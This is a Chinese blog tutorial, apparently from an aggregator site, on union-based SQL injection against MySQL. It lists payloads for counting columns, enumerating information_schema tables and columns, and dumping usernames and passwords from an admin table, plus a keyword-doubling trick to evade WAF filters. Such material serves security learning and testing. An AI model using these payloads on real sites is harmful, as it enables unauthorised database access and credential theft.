sql注入之mysql的联合查询爆破

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入之mysql的联合查询爆破相关的知识,希望对你有一定的参考价值。

技术分享

mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性。没有access表猜不出表名列名暴力破解的尴尬。

上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构

以查询test数据库为例:

1.判断列数

union select 1,2,3,..........  直到页面返回正常为止

2.判断当前数据库

union select  database(),2,3,4,5   1的位置将会返回数据库的名字

数据库名 database()

数据库版本 version()

数据库用户 user()

操作系统 @@version_compile_os

3.查询表名

union select  group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test‘

//group_concat()使多行数据在一列显示

4.查询列名

union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin‘

5.查数据 (0x20是空格的意思)

方法一:

union select  group_concat(username,0x20,password),2,3,4,5 from test.admin  //将所有数据在一行显示

方法二

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin    //因为网页限制只能显示一行数据,所以显示第一行数据 

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root‘)  //把第一行的用户排除掉,第二行自动上来

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin‘,‘root‘) //看第三行数据

 

简单绕过waf思路:

大小写绕过

ununionion  因为会过滤关键词union,所以这样写过滤后,前面un和后面的ion又拼成了一个新的union

 

 

以上是关于sql注入之mysql的联合查询爆破的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入之联合查询

SQL注入常见的姿势一:联合查询注入

SQL注入之联合查询报错注入和sqlmap

SQL注入漏洞之联合查询

联合查询sql注入

SQL注入---SQL注入-数字字符串联合查询